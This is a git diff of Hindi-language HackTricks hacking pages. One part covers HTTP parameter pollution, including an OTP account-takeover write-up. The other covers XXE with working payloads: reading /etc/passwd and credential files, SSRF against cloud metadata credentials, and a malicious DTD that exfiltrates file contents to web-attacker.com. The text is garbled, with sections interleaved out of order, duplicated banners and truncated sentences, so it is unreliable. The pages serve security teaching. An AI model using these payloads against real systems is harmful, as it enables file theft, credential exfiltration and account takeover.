यह महत्वपूर्ण है कि पैरामीटर पार्सिंग उपयोग की गई वेब प्रौद्योगिकी पर निर्भर है। [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) जैसे उपकरण वेब प्रौद्योगिकियों की पहचान करने और उनके पैरामीटर पार्सिंग व्यवहार को समझने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
जब यह URL 10000 का लेन-देन करेगा तो यह accountC से कटेगा बजाय accountA के। यही तरीका है जिससे आप **HTTP पैरामीटर पोल्यूशन** हमले में पैरामीटर्स को हेरफेर करते हैं। हालांकि इस कमजोरी का दायरा केवल **GET** अनुरोध तक सीमित नहीं है, आप इस हमले को **POST** आधारित अनुरोध पर भी कर सकते हैं। आप इस कमजोरी को पासवर्ड बदलने, 2FA, टिप्पणियों, प्रोफाइल फोटो अपलोड, उस पैरामीटर पर जहां API कुंजी पास की जाती है, OTP आदि पर आजमा सकते हैं।
|
||||
## PHP
|
||||
|
||||
जब आप किसी पैरामीटर को हेरफेर करते हैं, तो इसका हेरफेर इस बात पर निर्भर करता है कि प्रत्येक वेब तकनीक अपने पैरामीटर्स को कैसे पार्स कर रही है। आप “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)” का उपयोग करके वेब तकनीकों की पहचान कर सकते हैं। नीचे कुछ तकनीकों और उनके पैरामीटर पार्सिंग का स्क्रीनशॉट है।तकनीकें और उनकी पैरामीटर पार्सिंग
|
||||
HPP का शीर्षक उपयोग करने का एक प्रमुख उदाहरण निम्नलिखित चरणों में शामिल था:
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
|
||||
1. **OTP मानिपुलेशन:**
|
||||
- OTP का अनुरोध करने वाला लॉगिन पेज लक्ष्य था।
|
||||
- OTP अनुरोध भेजने के बाद, आगामी HTTP अनुरोध को Burp Suite का उपयोग करके रोका गया।
|
||||
- अन्य ईमेल को अनुरोध में जोड़ा गया, जिससे `email` पैरामीटर को प्रभावी रूप से डुप्लिकेट किया गया।
|
||||
- पहले ईमेल के लिए निर्धारित OTP को गलती से दूसरे ईमेल पर भेज दिया गया, जिससे पहले खाते तक अनधिकृत पहुंच मिली।
|
||||
|
||||
मैं अपनी एक खोज को साझा करना चाहूंगा जहां मैं HPP का उपयोग करके एक खाते को अधिग्रहण करने में सक्षम था।
|
||||
यह घटना दिखाती है कि एप्लिकेशन बैकएंड `email` पैरामीटरों को कैसे प्रसंस्करण करता था, पहले के लिए OTP उत्पन्न करने और दूसरे के लिए OTP वितरण के लिए।
|
||||
|
||||
**मैंने इस कमजोरी को कैसे पाया ?**
|
||||
# Flask और PHP में पैरामीटर पार्सिंग
|
||||
|
||||
1. मैं उस कार्यक्रम के लॉगिन पेज पर गया, उसने लॉगिन के लिए एक OTP मांगा
|
||||
विभिन्न वेब प्रौद्योगिकियाँ पैरामीटरों को अद्वितीय रूप से पार्स करती हैं। उदाहरण के लिए, `a=1&a=2` जैसे प्रश्न के साथ, Flask और PHP पैरामीटर को विभाजित करेंगे:
|
||||
|
||||
OTP भेजें
|
||||
- **Flask:** पहले प्राप्ति को लेगा (a=1)।
|
||||
- **PHP (Apache HTTP सर्वर पर):** अंतिम प्राप्ति को लेगा (a=2)।
|
||||
|
||||
![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
|
||||
पैरामीटर के संभालन में इस अंतर का अधिकार अनुप्रयोग के व्यवहार और HPP हमलों के प्रति संवेदनशीलता पर प्रभाव डाल सकता है। इसके अधिक विवरण [इस लेख](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) में देखा जा सकता है।
|
||||
|
||||
2\. मैंने एक ईमेल टाइप किया और "Send One Time Password" पर क्लिक किया
|
||||
|
||||
3\. मैंने burp suite का उपयोग करके अनुरोध को इंटरसेप्ट किया और उसी पैरामीटर का उपयोग करके एक और ईमेल जोड़ा (मैंने परीक्षण के उद्देश्य से दो ईमेल बनाए थे)Burp अनुरोध
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
|
||||
|
||||
4\. मुझे shrey……@gmail.com का OTP मेरे दूसरे खाते radhika…..@gmail.com पर मिला OTP
|
||||
|
||||
![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
|
||||
|
||||
5\. मैंने OTP को कॉपी किया और shrey….@gmail.com पर उस कार्यक्रम के लॉगिन स्क्रीन पर गया, मैंने यह OTP दर्ज किया और मैं खाते में था।खाता अधिग्रहण
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
|
||||
|
||||
तो यहाँ क्या हुआ है कि बैक-एंड एप्लिकेशन ने पहले “**email**” पैरामीटर के मूल्य का उपयोग करके एक OTP उत्पन्न किया और दूसरे “**email**” पैरामीटर के मूल्य का उपयोग करके मूल्य प्रदान किया, जिसका अर्थ है कि shrey….@gmail.com का OTP radhika….@gmail.com पर भेजा गया था।
|
||||
|
||||
**नोट :** यहाँ 4थे चरण में एक छवि पर जहाँ मैंने radhika….@gmail.com पर OTP प्राप्त किया था मैं भ्रमित था क्योंकि संदेश में हाय राधिका लिखा था, इसलिए मैंने सोचा कि पैरामीटर प्रदूषित नहीं हुआ है और OTP radhika….@gmail.com के लिए था लेकिन जब मैंने OTP को shrey….@gmail.com पर आजमाया तो यह काम कर गया।
|
||||
|
||||
## Flask & PHP
|
||||
|
||||
[**इस लेखन**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) में आप देख सकते हैं कि `a=1&a=2` जैसा HTTP क्वेरी Flask और PHP द्वारा Apache HTTP Server पर चलते समय अलग-अलग तरीके से व्याख्या किया जाएगा। Flask में, पैरामीटर `1` होगा (पहली घटना) जबकि PHP में यह `2` होगा (अंतिम घटना)।
|
||||
# संदर्भ
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,75 +2,62 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
||||
XML External Entity हमला एक प्रकार का हमला है जो XML इनपुट को पार्स करने वाले एप्लिकेशन के खिलाफ किया जाता है।
|
||||
एक XML External Entity हमला एक प्रकार का हमला है जो एक एप्लिकेशन के खिलाफ होता है जो XML इनपुट को विश्लेषित करता है।
|
||||
|
||||
## XML Basics
|
||||
|
||||
**इस भाग का अधिकांश हिस्सा इस अद्भुत Portswigger पेज से लिया गया है:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
|
||||
**इसका अधिकांश इस अद्भुत Portswigger पेज पर आधारित है:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
|
||||
|
||||
### XML क्या है? <a href="#what-is-xml" id="what-is-xml"></a>
|
||||
### Extensible Markup Language का अवलोकन <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
|
||||
|
||||
XML का मतलब है "extensible markup language". XML एक भाषा है जिसे डेटा को संग्रहित और परिवहन करने के लिए डिजाइन किया गया है। HTML की तरह, XML टैग्स और डेटा की एक वृक्ष-समान संरचना का उपयोग करता है। HTML के विपरीत, XML में पूर्वनिर्धारित टैग्स का उपयोग नहीं होता है, और इसलिए टैग्स को डेटा का वर्णन करने वाले नाम दिए जा सकते हैं। वेब के इतिहास में पहले, XML डेटा परिवहन प्रारूप के रूप में लोकप्रिय था (जैसे "AJAX" में "X" का मतलब "XML" है)। लेकिन अब इसकी लोकप्रियता JSON प्रारूप के पक्ष में घट गई है।
|
||||
एक्सटेंसिबल मार्कअप भाषा, सामान्य रूप से XML के रूप में संक्षेपित किया जाता है, जो डेटा के भंडारण और परिवहन के लिए उपयोग किया जाता है। एक पेड़ की तरह का संरचना का उपयोग करते हुए, जिसमें टैग और डेटा HTML के समान होते हैं, XML ने पूर्वनिर्धारित टैगों से प्रतिबंधित नहीं होने की वजह से खुद को अलग किया। यह लचीलाता उन्हें उपयोग करने की अनुमति देती है जिन्हें वे डेटा के अनुरूप वर्णन के अनुसार वर्णित करते हैं। ऐतिहासिक रूप से, XML ने डेटा परिवहन के लिए एक प्रारूप के रूप में महत्व प्राप्त किया, जिसे "AJAX" शब्दाक्षर के योगदान के रूप में प्रस्तुत किया गया है (जहां "X" "XML" के लिए है)। हालांकि, इसकी लोकप्रियता कम हो गई है, JSON को पसंदीदा प्रारूप के रूप में उभरते हुए देखा गया है।
|
||||
|
||||
### XML एंटिटीज क्या हैं? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a>
|
||||
### XML में डेटा आइटमों का प्रतिनिधित्व द्वारा प्रस्तुतीकरण <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
|
||||
|
||||
XML एंटिटीज एक XML दस्तावेज़ में डेटा के एक आइटम को प्रतिनिधित्व करने का एक तरीका है, बजाय डेटा के स्वयं का उपयोग करने के। विभिन्न एंटिटीज XML भाषा के विनिर्देश में निर्मित होती हैं। उदाहरण के लिए, एंटिटीज `<` और `>` `<` और `>` वर्णों का प्रतिनिधित्व करती हैं। ये मेटाकैरेक्टर्स हैं जिनका उपयोग XML टैग्स को दर्शाने के लिए किया जाता है, और इसलिए जब वे डेटा के भीतर प्रकट होते हैं तो आमतौर पर उन्हें उनकी एंटिटीज का उपयोग करके प्रतिनिधित्व किया जाना चाहिए।
|
||||
XML में एंटिटी एक दस्तावेज़ में डेटा आइटमों का प्रतिनिधित्व करने के लिए तंत्र होती हैं, सीधे डेटा सम्मिलन के विकल्प के रूप में। XML विनिर्धारित एंटिटी शामिल करता है। उदाहरण के लिए, `<` और `>` `<` और `>` वर्णों का प्रतिनिधित्व करने के लिए सेवा प्रदान करते हैं। इन मेटाकैरेक्टर्स के रूप में उनकी भूमिका को विश्वसनीयता देने के लिए, इन्हें अक्षरों के रूप में प्रदर्शित किया जाना चाहिए जब वे डेटा में प्रकट होने के लिए होते हैं।
|
||||
|
||||
### XML तत्व क्या हैं?
|
||||
### XML तत्वों की परिभाषा
|
||||
|
||||
तत्व प्रकार घोषणाएँ XML दस्तावेज़ में दिखाई देने वाले तत्वों के प्रकार और संख्या के लिए नियम निर्धारित करती हैं, कौन से तत्व एक दूसरे के अंदर प्रकट हो सकते हैं, और उन्हें किस क्रम में प्रकट होना चाहिए। उदाहरण के लिए:
|
||||
एक्सएमएल में तत्व प्रकार की घोषणाएँ महत्वपूर्ण हैं, क्योंकि ये एक एक्सएमएल दस्तावेज़ में तत्वों की उपस्थिति, प्रकार और क्रमबद्धता के दिशानिर्देश स्थापित करती हैं। उदाहरण सहिती उदाहरण हैं:
|
||||
|
||||
* `<!ELEMENT stockCheck ANY>` का मतलब है कि कोई भी ऑब्जेक्ट माता-पिता `<stockCheck></stockCheck>` के अंदर हो सकता है
|
||||
* \<!ELEMENT stockCheck EMPTY> का मतलब है कि यह खाली होना चाहिए `<stockCheck></stockCheck>`
|
||||
* \<!ELEMENT stockCheck (productId,storeId)> घोषित करता है कि `<stockCheck>` के बच्चे `<productId>` और `<storeId>` हो सकते हैं
|
||||
- `<!ELEMENT stockCheck ANY>` इसका अर्थ है कि `<stockCheck></stockCheck>` तत्व किसी भी प्रकार के वस्तु को घेर सकता है।
|
||||
- `<!ELEMENT stockCheck EMPTY>` यह निर्देशित करता है कि `<stockCheck></stockCheck>` तत्व को सामग्री से रहना चाहिए।
|
||||
- `<!ELEMENT stockCheck (productId,storeId)>` यह निर्दिष्ट करता है कि `<stockCheck>` तत्व केवल `<productId>` और `<storeId>` को बच्चा तत्व के रूप में शामिल कर सकता है।
|
||||
|
||||
### दस्तावेज़ प्रकार परिभाषा क्या है? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a>
|
||||
### दस्तावेज़ प्रकार परिभाषण का परिचय <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
|
||||
|
||||
XML दस्तावेज़ प्रकार परिभाषा (DTD) में घोषणाएँ होती हैं जो एक XML दस्तावेज़ की संरचना को परिभाषित कर सकती हैं, इसमें किस प्रकार के डेटा मान हो सकते हैं, और अन्य आइटम। DTD को XML दस्तावेज़ की शुरुआत में वैकल्पिक `DOCTYPE` तत्व के भीतर घोषित किया जाता है। DTD पूरी तरह से दस्तावेज़ के भीतर स्वयं में समाहित हो सकता है (जिसे "आंतरिक DTD" कहा जाता है) या कहीं और से लोड किया जा सकता है (जिसे "बाहरी DTD" कहा जाता है) या दोनों का मिश्रण हो सकता है।
|
||||
एक्सएमएल में दस्तावेज़ प्रकार परिभाषण (डीटीडी) एक महत्वपूर्ण भूमिका निभाता है जो एक एक्सएमएल दस्तावेज़ की संरचना, स्वीकृत डेटा प्रकार और अधिक को निर्धारित करने के लिए घोषणाएँ प्रदान कर सकता है। `DOCTYPE` तत्व, जो एक एक्सएमएल दस्तावेज़ के शुरू में वैकल्पिक है और एक डीटीडी की घोषणा कर सकता है, एक डीटीडी की घोषणा कर सकता है। डीटीडी को "आंतरिक" वर्णन किया जा सकता है जब एक पूरी तरह से दस्तावेज़ में समाहित होता है, "बाह्य" जब एक बाह्य स्रोत से लोड किया जाता है, या एक संयोजन हो सकता है।
|
||||
|
||||
### XML कस्टम एंटिटीज क्या हैं? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a>
|
||||
### एक्सएमएल में कस्टम एंटिटी का उपयोग <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
|
||||
|
||||
XML DTD के भीतर कस्टम एंटिटीज को परिभाषित करने की अनुमति देता है। उदाहरण के लिए:
|
||||
एक्सएमएल एक डीटीडी के भीतर कस्टम एंटिटी की परिभाषा को सुविधा प्रदान करता है। एक उदाहरण घोषणा:
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
|
||||
|
||||
इस परिभाषा का मतलब है कि एंटिटी संदर्भ `&myentity;` का कोई भी उपयोग XML दस्तावेज़ के भीतर परिभाषित मान के साथ बदल दिया जाएगा: "`my entity value`".
|
||||
ऐसी घोषणा इस बात का संकेत देती है कि दस्तावेज़ में एंटिटी संदर्भ `&myentity;` को "my entity value" से स्थानांतरित करेगा।
|
||||
|
||||
### XML बाहरी एंटिटीज क्या हैं? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
|
||||
### एक्सएमएल में बाह्य एंटिटी का समावेश <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
|
||||
|
||||
XML बाहरी एंटिटीज एक प्रकार की कस्टम एंटिटी होती हैं जिनकी परिभाषा DTD के बाहर स्थित होती है जहां वे घोषित की गई हैं।
|
||||
एक्सएमएल में बाह्य एंटिटियों को कस्टम एंटिटियों का एक उपप्रकार माना जाता है, जिनकी परिभाषाएँ डीटीडी के बाहर होती हैं। ये एंटिटियों `SYSTEM` कीवर्ड का उपयोग करते हैं और एक URL का उपयोग करते हैं जो एंटिटी के मान को प्राप्त करने के लिए स्थान की स्पष्टीकरण करता है, जिससे [एक्सएमएल बाह्य एंटिटी हमले](https://portswigger.net/web-security/xxe) की संभावना हो सकती है।
|
||||
|
||||
एक बाहरी एंटिटी की घोषणा `SYSTEM` कीवर्ड का उपयोग करती है और एक URL को निर्दिष्ट करना चाहिए जिससे एंटिटी का मान लोड किया जाना चाहिए। उदाहरण के लिए:
|
||||
### XXE डिटेक्शन के लिए एक्सएमएल पैरामीटर एंटिटियों का शोधन
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
||||
मामलों में जहां मानक एंटिटियों का उपयोग XXE जोखिमों को शामिल करने के लिए प्रभावी नहीं है क्योंकि मान्यता या एक्सएमएल पार्सर की मजबूती, एक्सएमएल पैरामीटर एंटिटियों का उपयोग किया जा सकता है। एक प्रतिश्रुत विशेषता के द्वारा भिन्न किया जाने वाले एक्सएमएल पैरामीटर एंटिटियों के द्वारा अंधे XXE डिटेक्शन को सुविधा प्रदान कर सकते हैं, जैसे कि एक डीएनएस लुकअप और एचटीटीपी अनुरोध को आरंभ करके एक हमलावर नियंत्रित डोमेन को पुष्टि करके, इस तरह से हमले की सफलता की पुष्टि करते हुए।
|
||||
|
||||
URL `file://` प्रोटोकॉल का उपयोग कर सकता है, और इसलिए बाहरी एंटिटीज को फाइल से लोड किया जा सकता है। उदाहरण के लिए:
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
|
||||
|
||||
XML बाहरी एंटिटीज [XML बाहरी एंटिटी हमलों](https://portswigger.net/web-security/xxe) के उत्पन्न होने का प्राथमिक साधन प्रदान करती हैं।
|
||||
|
||||
### XML पैरामीटर एंटिटीज क्या हैं?
|
||||
|
||||
कभी-कभी, सामान्य एंटिटीज का उपयोग करके XXE हमलों को ब्लॉक किया जाता है, कुछ इनपुट वैलिडेशन के कारण एप्लिकेशन द्वारा या XML पार्सर के कुछ हार्डनिंग के कारण जो उपयोग किया जा रहा है। इस स्थिति में, आप XML पैरामीटर एंटिटीज का उपयोग कर सकते हैं। XML पैरामीटर एंटिटीज एक विशेष प्रकार की XML एंटिटी होती है जिसे केवल DTD के भीतर अन्य जगहों पर संदर्भित किया जा सकता है। वर्तमान उद्देश्यों के लिए, आपको केवल दो चीजें जानने की आवश्यकता है। पहला, XML पैरामीटर एंटिटी की घोषणा में एंटिटी नाम से पहले प्रतिशत चिह्न शामिल होता है:
|
||||
|
||||
`<!ENTITY % myparameterentity "my parameter entity value" >`
|
||||
|
||||
और दूसरा, पैरामीटर एंटिटीज को सामान्य ampersand के बजाय प्रतिशत चिह्न का उपयोग करके संदर्भित किया जाता है: `%myparameterentity;`
|
||||
|
||||
इसका मतलब है कि आप निम्नलिखित के माध्यम से अंधा XXE के लिए परीक्षण कर सकते हैं बाहरी-ब
|
||||
## मुख
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
|
@ -79,9 +66,11 @@ XML बाहरी एंटिटीज [XML बाहरी एंटिट
|
|||
<storeId>1</storeId>
|
||||
</stockCheck>
|
||||
```
|
||||
### फाइल पढ़ें
|
||||
![](<../.gitbook/assets/image (220).png>)
|
||||
|
||||
आइए `/etc/passwd` को विभिन्न तरीकों से पढ़ने का प्रयास करें। Windows के लिए आप `C:\windows\system32\drivers\etc\hosts` पढ़ने का प्रयास कर सकते हैं।
|
||||
### फ़ाइल पढ़ें
|
||||
|
||||
हम विभिन्न तरीकों से `/etc/passwd` पढ़ने की कोशिश करेंगे। Windows के लिए आप यह कोशिश कर सकते हैं: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
इस पहले मामले में ध्यान दें कि SYSTEM "_\*\*file:///\*\*etc/passwd_" भी काम करेगा।
|
||||
```markup
|
||||
|
@ -89,13 +78,15 @@ XML बाहरी एंटिटीज [XML बाहरी एंटिट
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
यह दूसरा मामला उपयोगी होना चाहिए यदि वेब सर्वर PHP का उपयोग कर रहा है (Portswiggers labs का मामला नहीं है)
|
||||
![](<../.gitbook/assets/image (221).png>)
|
||||
|
||||
यह दूसरा मामला उपयोगी होना चाहिए अगर वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स लैब्स का मामला नहीं है)
|
||||
```markup
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
इस तीसरे मामले में ध्यान दें कि हम `Element stockCheck` को ANY के रूप में घोषित कर रहे हैं
|
||||
इस तीसरे मामले में ध्यान दें कि हम `Element stockCheck` को ANY के रूप में घोषित कर रहे हैं।
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
|
@ -107,9 +98,11 @@ XML बाहरी एंटिटीज [XML बाहरी एंटिट
|
|||
<storeId>1</storeId>
|
||||
</stockCheck3>
|
||||
```
|
||||
### डायरेक्टरी लिस्टिंग
|
||||
![](<../.gitbook/assets/image (222) (1).png>)
|
||||
|
||||
**Java** आधारित एप्लिकेशन्स में संभवतः XXE के माध्यम से एक डायरेक्टरी की सामग्री की **सूची बनाना** संभव हो सकता है, एक पेलोड के साथ जैसे (सिर्फ फाइल के बजाय डायरेक्टरी के लिए पूछना):
|
||||
### निर्देशिका सूची
|
||||
|
||||
**जावा** आधारित एप्लिकेशन में एक ऐसी संभावना हो सकती है जिसमें आप एक डायरेक्टरी की सामग्री को XXE के माध्यम से सूचीबद्ध कर सकते हैं जैसे (फ़ाइल की बजाय डायरेक्टरी के लिए केवल पूछ रहा है):
|
||||
```markup
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
|
@ -119,105 +112,106 @@ XML बाहरी एंटिटीज [XML बाहरी एंटिट
|
|||
```
|
||||
### SSRF
|
||||
|
||||
XXE का उपयोग क्लाउड के अंदर SSRF का दुरुपयोग करने के लिए किया जा सकता है
|
||||
एक XXE का उपयोग करके बादल में एक SSRF का दुरुपयोग किया जा सकता है
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### ब्लाइंड SSRF
|
||||
### ब्लाइंड एसएसआरएफ
|
||||
|
||||
**पहले बताई गई तकनीक** का उपयोग करके आप सर्वर को अपने नियंत्रण वाले सर्वर तक पहुँचा सकते हैं ताकि यह दिखाया जा सके कि यह संवेदनशील है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण है कि **XML एंटिटीज की अनुमति नहीं है**, ऐसे मामले में आप **XML पैरामीटर एंटिटीज** का उपयोग करने की कोशिश कर सकते हैं:
|
||||
**पिछले टिप्पणीत तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचा सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह अपनी कमजोरियों को दिखा सके। लेकिन, अगर यह काम नहीं कर रहा है, शायद **एक्सएमएल एंटिटीज की अनुमति नहीं है**, उस मामले में आप **एक्सएमएल पैरामीटर एंटिटीज** का प्रयास कर सकते हैं:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "ब्लाइंड" SSRF - डेटा को आउट-ऑफ-बैंड निकालना
|
||||
### "अंधा" SSRF - डेटा को बाहरी बैंड से निकालें
|
||||
|
||||
**इस अवसर पर हम सर्वर को एक नया DTD लोड करने के लिए प्रेरित करेंगे जिसमें एक दुर्भावनापूर्ण पेलोड होगा जो फाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (मल्टी-लाइन फाइलों के लिए आप** _**ftp://**_ **के माध्यम से इसे निकालने का प्रयास कर सकते हैं)। यह स्पष्टीकरण** [**Portswiggers lab यहाँ**](https://portswigger.net/web-security/xxe/blind)** से लिया गया है।**
|
||||
**इस अवसर पर हम सर्वर को एक नया DTD लोड करवाएंगे जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे** _**ftp://**_**के माध्यम से बाहरी रूप से निकालने की कोशिश कर सकते हैं)। यह व्याख्या** [**Portswiggers लैब से ली गई है यहाँ**](https://portswigger.net/web-security/xxe/blind)**।**
|
||||
|
||||
`/etc/hostname` फाइल की सामग्री को निकालने के लिए एक दुर्भावनापूर्ण DTD का उदाहरण इस प्रकार है:
|
||||
`/etc/hostname` फ़ाइल की सामग्री को बाहरी बैंड से निकालने के लिए एक हानिकारक DTD का उदाहरण निम्नलिखित है:
|
||||
```markup
|
||||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||||
%eval;
|
||||
%exfiltrate;
|
||||
```
|
||||
यह DTD निम्नलिखित कदम उठाता है:
|
||||
